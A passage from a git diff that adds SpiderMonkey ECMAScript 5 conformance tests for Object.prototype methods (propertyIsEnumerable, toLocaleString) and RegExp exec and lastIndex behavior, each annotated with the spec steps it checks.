+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'propertyIsEnumerable.js';
+var BUGNUMBER = 619283;
+var summary = "Object.prototype.propertyIsEnumerable";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectThrowError(errorCtor, fun)
+{
+ try
+ {
+ var r = fun();
+ throw "didn't throw TypeError, returned " + r;
+ }
+ catch (e)
+ {
+ assertEq(e instanceof errorCtor, true,
+ "didn't throw " + errorCtor.prototype.name + ", got: " + e);
+ }
+}
+
+function expectThrowTypeError(fun)
+{
+ expectThrowError(TypeError, fun);
+}
+
+function withToString(fun)
+{
+ return { toString: fun };
+}
+
+function withValueOf(fun)
+{
+ return { toString: null, valueOf: fun };
+}
+
+var propertyIsEnumerable = Object.prototype.propertyIsEnumerable;
+
+/*
+ * 1. Let P be ToString(V).
+ */
+expectThrowError(ReferenceError, function()
+{
+ propertyIsEnumerable(withToString(function() { fahslkjdfhlkjdsl; }));
+});
+expectThrowError(ReferenceError, function()
+{
+ propertyIsEnumerable.call(null, withToString(function() { fahslkjdfhlkjdsl; }));
+});
+expectThrowError(ReferenceError, function()
+{
+ propertyIsEnumerable.call(undefined, withToString(function() { fahslkjdfhlkjdsl; }));
+});
+
+expectThrowError(ReferenceError, function()
+{
+ propertyIsEnumerable(withValueOf(function() { fahslkjdfhlkjdsl; }));
+});
+expectThrowError(ReferenceError, function()
+{
+ propertyIsEnumerable.call(null, withValueOf(function() { fahslkjdfhlkjdsl; }));
+});
+expectThrowError(ReferenceError, function()
+{
+ propertyIsEnumerable.call(undefined, withValueOf(function() { fahslkjdfhlkjdsl; }));
+});
+
+expectThrowError(SyntaxError, function()
+{
+ propertyIsEnumerable(withToString(function() { eval("}"); }));
+});
+expectThrowError(SyntaxError, function()
+{
+ propertyIsEnumerable.call(null, withToString(function() { eval("}"); }));
+});
+expectThrowError(SyntaxError, function()
+{
+ propertyIsEnumerable.call(undefined, withToString(function() { eval("}"); }));
+});
+
+expectThrowError(SyntaxError, function()
+{
+ propertyIsEnumerable(withValueOf(function() { eval("}"); }));
+});
+expectThrowError(SyntaxError, function()
+{
+ propertyIsEnumerable.call(null, withValueOf(function() { eval("}"); }));
+});
+expectThrowError(SyntaxError, function()
+{
+ propertyIsEnumerable.call(undefined, withValueOf(function() { eval("}"); }));
+});
+
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable(withToString(function() { [].length = -1; }));
+});
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable.call(null, withToString(function() { [].length = -1; }));
+});
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable.call(undefined, withToString(function() { [].length = -1; }));
+});
+
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable(withValueOf(function() { [].length = -1; }));
+});
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable.call(null, withValueOf(function() { [].length = -1; }));
+});
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable.call(undefined, withValueOf(function() { [].length = -1; }));
+});
+
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable(withToString(function() { [].length = 0.7; }));
+});
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable.call(null, withToString(function() { [].length = 0.7; }));
+});
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable.call(undefined, withToString(function() { [].length = 0.7; }));
+});
+
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable(withValueOf(function() { [].length = 0.7; }));
+});
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable.call(null, withValueOf(function() { [].length = 0.7; }));
+});
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable.call(undefined, withValueOf(function() { [].length = 0.7; }));
+});
+
+/*
+ * 2. Let O be the result of calling ToObject passing the this value as the
+ * argument.
+ */
+expectThrowTypeError(function() { propertyIsEnumerable("s"); });
+expectThrowTypeError(function() { propertyIsEnumerable.call(null, "s"); });
+expectThrowTypeError(function() { propertyIsEnumerable.call(undefined, "s"); });
+expectThrowTypeError(function() { propertyIsEnumerable(true); });
+expectThrowTypeError(function() { propertyIsEnumerable.call(null, true); });
+expectThrowTypeError(function() { propertyIsEnumerable.call(undefined, true); });
+expectThrowTypeError(function() { propertyIsEnumerable(NaN); });
+expectThrowTypeError(function() { propertyIsEnumerable.call(null, NaN); });
+expectThrowTypeError(function() { propertyIsEnumerable.call(undefined, NaN); });
+
+expectThrowTypeError(function() { propertyIsEnumerable({}); });
+expectThrowTypeError(function() { propertyIsEnumerable.call(null, {}); });
+expectThrowTypeError(function() { propertyIsEnumerable.call(undefined, {}); });
+
+/*
+ * 3. Let desc be the result of calling the [[GetOwnProperty]] internal method
+ * of O passing P as the argument.
+ * 4. If desc is undefined, return false.
+ */
+assertEq(propertyIsEnumerable.call({}, "valueOf"), false);
+assertEq(propertyIsEnumerable.call({}, "toString"), false);
+assertEq(propertyIsEnumerable.call("s", 1), false);
+assertEq(propertyIsEnumerable.call({}, "dsfiodjfs"), false);
+assertEq(propertyIsEnumerable.call(true, "toString"), false);
+assertEq(propertyIsEnumerable.call({}, "__proto__"), false);
+
+assertEq(propertyIsEnumerable.call(Object, "getOwnPropertyDescriptor"), false);
+assertEq(propertyIsEnumerable.call(this, "expectThrowTypeError"), true);
+assertEq(propertyIsEnumerable.call("s", "length"), false);
+assertEq(propertyIsEnumerable.call("s", 0), true);
+assertEq(propertyIsEnumerable.call(Number, "MAX_VALUE"), false);
+assertEq(propertyIsEnumerable.call({ x: 9 }, "x"), true);
+assertEq(propertyIsEnumerable.call(function() { }, "prototype"), false);
+assertEq(propertyIsEnumerable.call(function() { }, "length"), false);
+assertEq(propertyIsEnumerable.call(function() { "use strict"; }, "caller"), false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Object/proto-property-change-writability-set.js b/js/src/tests/ecma_5/Object/proto-property-change-writability-set.js
new file mode 100644
index 000000000..d81f844e9
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/proto-property-change-writability-set.js
@@ -0,0 +1,56 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors:
+ * Gary Kwong
+ * Jeff Walden
+ * Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 713944;
+var summary =
+ "Don't assert anything about a shape from the property cache until it's " +
+ "known the cache entry matches";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var accDesc = { set: function() {} };
+var dataDesc = { value: 3 };
+
+function f()
+{
+ propertyIsEnumerable = {};
+}
+function g()
+{
+ propertyIsEnumerable = {};
+}
+
+Object.defineProperty(Object.prototype, "propertyIsEnumerable", accDesc);
+f();
+Object.defineProperty(Object.prototype, "propertyIsEnumerable", dataDesc);
+assertEq(propertyIsEnumerable, 3);
+f();
+assertEq(propertyIsEnumerable, 3);
+g();
+assertEq(propertyIsEnumerable, 3);
+
+
+
+var a = { p1: 1, p2: 2 };
+var b = Object.create(a);
+Object.defineProperty(a, "p1", {set: function () {}});
+for (var i = 0; i < 2; i++)
+{
+ b.p1 = {};
+ Object.defineProperty(a, "p1", {value: 3});
+}
+assertEq(b.p1, 3);
+assertEq(a.p1, 3);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/Object/shell.js b/js/src/tests/ecma_5/Object/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/shell.js
diff --git a/js/src/tests/ecma_5/Object/toLocaleString.js b/js/src/tests/ecma_5/Object/toLocaleString.js
new file mode 100644
index 000000000..e42c4a09e
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/toLocaleString.js
@@ -0,0 +1,102 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'toLocaleString.js';
+var BUGNUMBER = 653789;
+var summary = "Object.prototype.toLocaleString";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectThrowTypeError(fun)
+{
+ try
+ {
+ var r = fun();
+ throw "didn't throw TypeError, returned " + r;
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "didn't throw TypeError, got: " + e);
+ }
+}
+
+var toLocaleString = Object.prototype.toLocaleString;
+
+/*
+ * 1. Let O be the result of calling ToObject passing the this value as the
+ * argument.
+ */
+expectThrowTypeError(function() { toLocaleString.call(null); });
+expectThrowTypeError(function() { toLocaleString.call(undefined); });
+expectThrowTypeError(function() { toLocaleString.apply(null); });
+expectThrowTypeError(function() { toLocaleString.apply(undefined); });
+
+
+/*
+ * 2. Let toString be the result of calling the [[Get]] internal method of O
+ * passing "toString" as the argument.
+ */
+try
+{
+ toLocaleString.call({ get toString() { throw 17; } });
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e, 17);
+}
+
+
+/* 3. If IsCallable(toString) is false, throw a TypeError exception. */
+expectThrowTypeError(function() { toLocaleString.call({ toString: 12 }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: 0.3423423452352e9 }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: undefined }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: false }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: [] }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: {} }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: new String }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: new Number(7.7) }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: new Boolean(true) }); });
+expectThrowTypeError(function() { toLocaleString.call({ toString: JSON }); });
+
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: 12 }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: 0.3423423452352e9 }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: undefined }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: false }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: [] }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: {} }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: new String }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: new Number(7.7) }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: new Boolean(true) }); });
+expectThrowTypeError(function() { toLocaleString.call({ valueOf: 0, toString: JSON }); });
+
+
+/*
+ * 4. Return the result of calling the [[Call]] internal method of toString
+ * passing O as the this value and no arguments.
+ */
+assertEq(toLocaleString.call({ get toString() { return function() { return "foo"; } } }),
+ "foo");
+
+var obj = { toString: function() { assertEq(this, obj); assertEq(arguments.length, 0); return 5; } };
+assertEq(toLocaleString.call(obj), 5);
+
+assertEq(toLocaleString.call({ toString: function() { return obj; } }), obj);
+
+assertEq(toLocaleString.call({ toString: function() { return obj; },
+ valueOf: function() { return "abc"; } }),
+ obj);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Object/vacuous-accessor-unqualified-name.js b/js/src/tests/ecma_5/Object/vacuous-accessor-unqualified-name.js
new file mode 100644
index 000000000..768b1050b
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/vacuous-accessor-unqualified-name.js
@@ -0,0 +1,26 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'vacuous-accessor-unqualified-name.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 560216;
+var summary =
+ "Using a name referring to a { get: undefined, set: undefined } descriptor " +
+ "shouldn't assert";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+Object.defineProperty(this, "x", { set: undefined, configurable: true });
+x;
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/README b/js/src/tests/ecma_5/README
new file mode 100644
index 000000000..e7c87e9ca
--- /dev/null
+++ b/js/src/tests/ecma_5/README
@@ -0,0 +1 @@
+ECMA 5
diff --git a/js/src/tests/ecma_5/RegExp/15.10.5-01.js b/js/src/tests/ecma_5/RegExp/15.10.5-01.js
new file mode 100644
index 000000000..2f8429218
--- /dev/null
+++ b/js/src/tests/ecma_5/RegExp/15.10.5-01.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 614603;
+var summary = "RegExp.length";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(RegExp.length, 2);
+assertEq(/a/.constructor.length, 2);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/RegExp/15.10.7.5-01.js b/js/src/tests/ecma_5/RegExp/15.10.7.5-01.js
new file mode 100644
index 000000000..ab9d071a7
--- /dev/null
+++ b/js/src/tests/ecma_5/RegExp/15.10.7.5-01.js
@@ -0,0 +1,71 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 465199;
+var summary = "RegExp lastIndex property set should not coerce type to number";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var called = false;
+var o = { valueOf: function() { called = true; return 1; } };
+var r = /a/g;
+var desc, m;
+
+assertEq(r.lastIndex, 0);
+
+desc = Object.getOwnPropertyDescriptor(r, "lastIndex");
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+assertEq(desc.value, 0);
+assertEq(desc.writable, true);
+
+r.lastIndex = o;
+
+assertEq(r.lastIndex, o);
+
+desc = Object.getOwnPropertyDescriptor(r, "lastIndex");
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+assertEq(desc.value, o);
+assertEq(desc.writable, true);
+
+assertEq(called, false);
+assertEq(r.exec("aaaa").length, 1);
+assertEq(called, true);
+assertEq(r.lastIndex, 2);
+
+desc = Object.getOwnPropertyDescriptor(r, "lastIndex");
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+assertEq(desc.value, 2);
+assertEq(desc.writable, true);
+
+
+r.lastIndex = -0.2;
+assertEq(r.lastIndex, -0.2);
+
+m = r.exec("aaaa");
+assertEq(Array.isArray(m), true);
+assertEq(m.length, 1);
+assertEq(m[0], "a");
+assertEq(r.lastIndex, 1);
+
+m = r.exec("aaaa");
+assertEq(Array.isArray(m), true);
+assertEq(m.length, 1);
+assertEq(m[0], "a");
+assertEq(r.lastIndex, 2);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/RegExp/7.8.5-01.js b/js/src/tests/ecma_5/RegExp/7.8.5-01.js
new file mode 100644
index 000000000..be09bbc14
--- /dev/null
+++ b/js/src/tests/ecma_5/RegExp/7.8.5-01.js
@@ -0,0 +1,35 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 615070;
+var summary = "Line terminator after backslash is invalid in regexp literals";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var regexps = ["/\\\u000A/", "/\\\u000D/", "/\\\u2028/", "/\\\u2029/",
+ "/ab\\\n/", "/ab\\\r/", "/ab\\\u2028/", "/ab\\\u2029/",
+ "/ab[c\\\n]/", "/a[bc\\", "/\\"];
+
+for(var i=0; i<regexps.length; i++) {
+ var src = regexps[i];
+ try {
+ x = eval(src).source;
+ } catch(e) {
+ assertEq(e.constructor, SyntaxError);
+ continue;
+ }
+ assertEq(0, 1);
+}
+
+/**************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/RegExp/browser.js b/js/src/tests/ecma_5/RegExp/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/RegExp/browser.js
diff --git a/js/src/tests/ecma_5/RegExp/empty-lookahead.js b/js/src/tests/ecma_5/RegExp/empty-lookahead.js
new file mode 100644
index 000000000..6e2f709e8
--- /dev/null
+++ b/js/src/tests/ecma_5/RegExp/empty-lookahead.js
@@ -0,0 +1,8 @@
+//bug 473941
+var regexp;
+
+regexp = /(?=)/;
+assertEq(regexp.test('test'), true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/RegExp/exec-lastIndex-ToInteger.js b/js/src/tests/ecma_5/RegExp/exec-lastIndex-ToInteger.js
new file mode 100644
index 000000000..4505362d8
--- /dev/null
+++ b/js/src/tests/ecma_5/RegExp/exec-lastIndex-ToInteger.js
@@ -0,0 +1,36 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ *
+ * Author: Geoffrey Sneddon <geoffers+mozilla@gmail.com>
+ */
+
+var BUGNUMBER = 646490;
+var summary =
+ "RegExp.prototype.exec doesn't get the lastIndex and ToInteger() it for " +
+ "non-global regular expressions when it should";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var re = /./, called = 0;
+re.lastIndex = {valueOf: function() { called++; return 0; }};
+re.exec(".");
+re.lastIndex = {toString: function() { called++; return "0"; }};
+re.exec(".");
+re.lastIndex = {
+ valueOf: function() { called++; return 0; },
+ toString: function() { called--; }
+};
+re.exec(".");
+assertEq(called, 3, "FAIL, got " + called);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/RegExp/exec.js b/js/src/tests/ecma_5/RegExp/exec.js
new file mode 100644
index 000000000..411f348d9
--- /dev/null
+++ b/js/src/tests/ecma_5/RegExp/exec.js
@@ -0,0 +1,240 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 646490;
+var summary =
+ "RegExp.prototype.exec doesn't get the lastIndex and ToInteger() it for " +
+ "non-global regular expressions when it should";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectThrowTypeError(fun)
+{
+ try
+ {
+ var r = fun();
+ throw new Error("didn't throw TypeError, returned " + r);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "didn't throw TypeError, got: " + e);
+ }
+}
+
+function checkExec(description, regex, args, obj)
+{
+ var lastIndex = obj.lastIndex;
+ var index = obj.index;
+ var input = obj.input;
+ var indexArray = obj.indexArray;
+
+ var res = regex.exec.apply(regex, args);
+
+ assertEq(Array.isArray(res), true, description + ": not an array");
+ assertEq(regex.lastIndex, lastIndex, description + ": wrong lastIndex");
+ assertEq(res.index, index, description + ": wrong index");
+ assertEq(res.input, input, description + ": wrong input");
+ assertEq(res.length, indexArray.length, description + ": wrong length");
+ for (var i = 0, sz = indexArray.length; i < sz; i++)
+ assertEq(res[i], indexArray[i], description + " " + i + ": wrong index value");
+}
+
+var exec = RegExp.prototype.exec;
+var r, res, called, obj;
+
+/* 1. Let R be this RegExp object. */
+expectThrowTypeError(function() { exec.call(null); });
+expectThrowTypeError(function() { exec.call(""); });
+expectThrowTypeError(function() { exec.call(5); });
+expectThrowTypeError(function() { exec.call({}); });
+expectThrowTypeError(function() { exec.call([]); });
+expectThrowTypeError(function() { exec.call(); });
+expectThrowTypeError(function() { exec.call(true); });
+expectThrowTypeError(function() { exec.call(Object.create(RegExp.prototype)); });
+expectThrowTypeError(function() { exec.call(Object.create(/a/)); });
+
+
+/* 2. Let S be the value of ToString(string). */
+called = false;
+r = /a/;
+assertEq(r.lastIndex, 0);
+
+checkExec("/a/", r, [{ toString: function() { called = true; return 'ba'; } }],
+ { lastIndex: 0,
+ index: 1,
+ input: "ba",
+ indexArray: ["a"] });
+assertEq(called, true);
+
+called = false;
+try
+{
+ res = r.exec({ toString: null, valueOf: function() { called = true; throw 17; } });
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e, 17);
+}
+
+assertEq(called, true);
+
+called = false;
+obj = r.lastIndex = { valueOf: function() { assertEq(true, false, "shouldn't have been called"); } };
+try
+{
+ res = r.exec({ toString: null, valueOf: function() { assertEq(called, false); called = true; throw 17; } });
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e, 17);
+}
+
+assertEq(called, true);
+assertEq(r.lastIndex, obj);
+
+// We don't test lack of an argument because of RegExp statics non-standard
+// behaviors overriding what really should happen for lack of an argument, sigh.
+
+
+/*
+ * 3. Let length be the length of S.
+ * 4. Let lastIndex be the result of calling the [[Get]] internal method of R with argument "lastIndex".
+ * 5. Let i be the value of ToInteger(lastIndex).
+ */
+r = /b/;
+r.lastIndex = { valueOf: {}, toString: {} };
+expectThrowTypeError(function() { r.exec("foopy"); });
+r.lastIndex = { valueOf: function() { throw new TypeError(); } };
+expectThrowTypeError(function() { r.exec("foopy"); });
+
+
+/*
+ * 6. Let global be the result of calling the [[Get]] internal method of R with argument "global".
+ * 7. If global is false, then let i = 0.
+ */
+obj = { valueOf: function() { return 5; } };
+r = /abc/;
+r.lastIndex = obj;
+
+checkExec("/abc/ take one", r, ["abc-------abc"],
+ { lastIndex: obj,
+ index: 0,
+ input: "abc-------abc",
+ indexArray: ["abc"] });
+
+checkExec("/abc/ take two", r, ["abc-------abc"],
+ { lastIndex: obj,
+ index: 0,
+ input: "abc-------abc",
+ indexArray: ["abc"] });
+
+
+/*
+ * 8. Let matchSucceeded be false.
+ * 9. Repeat, while matchSucceeded is false
+ * a. If i < 0 or i > length, then
+ * i. Call the [[Put]] internal method of R with arguments "lastIndex", 0, and true.
+ * ii. Return null.
+ * b. Call the [[Match]] internal method of R with arguments S and i.
+ * c. If [[Match]] returned failure, then
+ * i. Let i = i+1.
+ * d. else
+ * i. Let r be the State result of the call to [[Match]].
+ * ii. Set matchSucceeded to true.
+ * e. Let i = i+1.
+ */
+r = /abc()?/;
+r.lastIndex = -5;
+checkExec("/abc()?/ with lastIndex -5", r, ["abc-------abc"],
+ { lastIndex: -5,
+ index: 0,
+ input: "abc-------abc",
+ indexArray: ["abc", undefined] });
+
+
+r = /abc/;
+r.lastIndex = -17;
+res = r.exec("cdefg");
+assertEq(res, null);
+assertEq(r.lastIndex, 0);
+
+r = /abc/g;
+r.lastIndex = -42;
+res = r.exec("cdefg");
+assertEq(res, null);
+assertEq(r.lastIndex, 0);
+
+
+/*
+ * 10. Let e be r's endIndex value.
+ * 11. If global is true,
+ * a. Call the [[Put]] internal method of R with arguments "lastIndex", e, and true.
+ */
+r = /abc/g;
+r.lastIndex = 17;
+assertEq(r.exec("sdfs"), null);
+assertEq(r.lastIndex, 0);
+
+r = /abc/g;
+r.lastIndex = 2;
+checkExec("/abc/g", r, ["00abc"],
+ { lastIndex: 5,
+ index: 2,
+ input: "00abc",
+ indexArray: ["abc"] });
+
+
+
+r = /a(b)c/g;
+r.lastIndex = 2;
+checkExec("/a(b)c/g take two", r, ["00abcd"],
+ { lastIndex: 5,
+ index: 2,
+ input: "00abcd",
+ indexArray: ["abc", "b"] });
+
+
+/*
+ * 12. Let n be the length of r's captures array. (This is the same value as
+ * 15.10.2.1's NCapturingParens.)
+ * 13. Let A be a new array created as if by the expression new Array() where
+ * Array is the standard built-in constructor with that name.
+ * 14. Let matchIndex be the position of the matched substring within the
+ * complete String S.
+ * 15. Call the [[DefineOwnProperty]] internal method of A with arguments
+ * "index", Property Descriptor {[[Value]]: matchIndex, [[Writable]: true,
+ * [[Enumerable]]: true, [[Configurable]]: true}, and true.
+ * 16. Call the [[DefineOwnProperty]] internal method of A with arguments
+ * "input", Property Descriptor {[[Value]]: S, [[Writable]: true,
+ * [[Enumerable]]: true, [[Configurable]]: true}, and true.
+ * 17. Call the [[DefineOwnProperty]] internal method of A with arguments
+ * "length", Property Descriptor {[[Value]]: n + 1}, and true.
+ * 18. Let matchedSubstr be the matched substring (i.e. the portion of S
+ * between offset i inclusive and offset e exclusive).
+ * 19. Call the [[DefineOwnProperty]] internal method of A with arguments "0",
+ * Property Descriptor {[[Value]]: matchedSubstr, [[Writable]: true,
+ * [[Enumerable]]: true, [[Configurable]]: true}, and true.
+ * 20. For each integer i such that I > 0 and I ≤ n
+ * a. Let captureI be i th element of r's captures array.
+ * b. Call the [[DefineOwnProperty]] internal method of A with arguments
+ * ToString(i), Property Descriptor {[[Value]]: captureI, [[Writable]:
+ * true, [[Enumerable]]: true, [[Configurable]]: true}, and true.
+ * 21. Return A.
+ */
+// throughout, above (and in other tests)
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/RegExp/instance-property-storage-introspection.js b/js/src/tests/ecma_5/RegExp/instance-property-storage-introspection.js
new file mode 100644
index 000000000..1f7c7042f
--- /dev/null
+++ b/js/src/tests/ecma_5/RegExp/instance-property-storage-introspection.js
@@ -0,0 +1,131 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 640072;
+var summary =
+ "Represent /a/.{lastIndex,global,source,multiline,sticky,ignoreCase} with " +
+ "plain old data properties";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function checkDataProperty(obj, p, expect, msg)
+{
+ var d = Object.getOwnPropertyDescriptor(obj, p);
+
+ assertEq(d.value, expect.value, msg + ": bad value for " + p);
+ assertEq(d.writable, expect.writable, msg + ": bad writable for " + p);
+ assertEq(d.enumerable, expect.enumerable, msg + ": bad enumerable for " + p);
+ assertEq(d.configurable, expect.configurable, msg + ": bad configurable for " + p);
+
+ // Try redefining the property using its initial values: these should all be
+ // silent no-ops.
+ Object.defineProperty(obj, p, { value: expect.value });
+ Object.defineProperty(obj, p, { writable: expect.writable });
+ Object.defineProperty(obj, p, { enumerable: expect.enumerable });
+ Object.defineProperty(obj, p, { configurable: expect.configurable });
+
+ var d2 = Object.getOwnPropertyDescriptor(obj, p);
+ assertEq(d.value, d2.value, msg + ": value changed on redefinition of " + p + "?");
+ assertEq(d.writable, d2.writable, msg + ": writable changed on redefinition of " + p + "?");
+ assertEq(d.enumerable, d2.enumerable, msg + ": enumerable changed on redefinition of " + p + "?");
+ assertEq(d.configurable, d2.configurable, msg + ": configurable changed on redefinition of " + p + "?");
+}
+
+
+// Check a bunch of "empty" regular expressions first.
+
+var choices = [{ msg: "RegExp.prototype",
+ get: function() { return RegExp.prototype; } },
+ { msg: "new RegExp()",
+ get: function() { return new RegExp(); } },
+ { msg: "/(?:)/",
+ get: Function("return /(?:)/;") }];
+
+function checkRegExp(r, msg, lastIndex)
+{
+ var expect;
+
+ expect = { value: lastIndex, enumerable: false, configurable: false, writable: true };
+ checkDataProperty(r, "lastIndex", expect, msg);
+}
+
+checkRegExp(RegExp.prototype, "RegExp.prototype", 0);
+checkRegExp(new RegExp(), "new RegExp()", 0);
+checkRegExp(/(?:)/, "/(?:)/", 0);
+checkRegExp(Function("return /(?:)/;")(), 'Function("return /(?:)/;")()', 0);
+
+for (var i = 0; i < choices.length; i++)
+{
+ var choice = choices[i];
+ var msg = choice.msg;
+ var r = choice.get();
+
+ checkRegExp(r, msg, 0);
+}
+
+// Now test less generic regular expressions
+
+checkRegExp(/a/gim, "/a/gim", 0);
+
+var r;
+
+do
+{
+ r = /abcd/mg;
+ checkRegExp(r, "/abcd/mg initially", 0);
+ r.exec("abcdefg");
+ checkRegExp(r, "/abcd/mg step 1", 4);
+ r.exec("abcdabcd");
+ checkRegExp(r, "/abcd/mg step 2", 8);
+ r.exec("abcdabcd");
+ checkRegExp(r, "/abcd/mg end", 0);
+
+ r = /cde/ig;
+ checkRegExp(r, "/cde/ig initially", 0);
+ var obj = r.lastIndex = { valueOf: function() { return 2; } };
+ checkRegExp(r, "/cde/ig after lastIndex", obj);
+ r.exec("aaacdef");
+ checkRegExp(r, "/cde/ig after exec", 6);
+ Object.defineProperty(r, "lastIndex", { value: 3 });
+ checkRegExp(r, "/cde/ig after define 3", 3);
+ Object.defineProperty(r, "lastIndex", { value: obj });
+ checkRegExp(r, "/cde/ig after lastIndex", obj);
+
+
+ // Tricky bits of testing: make sure that redefining lastIndex doesn't change
+ // the slot where the lastIndex property is initially stored, even if
+ // the redefinition also changes writability.
+ r = /a/g;
+ checkRegExp(r, "/a/g initially", 0);
+ Object.defineProperty(r, "lastIndex", { value: 2 });
+ r.exec("aabbbba");
+ checkRegExp(r, "/a/g after first exec", 7);
+ assertEq(r.lastIndex, 7);
+ r.lastIndex = 2;
+ checkRegExp(r, "/a/g after assign", 2);
+ r.exec("aabbbba");
+ assertEq(r.lastIndex, 7); // check in reverse order
+ checkRegExp(r, "/a/g after second exec", 7);
+
+ r = /c/g;
+ r.lastIndex = 2;
+ checkRegExp(r, "/c/g initially", 2);
+ Object.defineProperty(r, "lastIndex", { writable: false });
+ assertEq(Object.getOwnPropertyDescriptor(r, "lastIndex").writable, false);
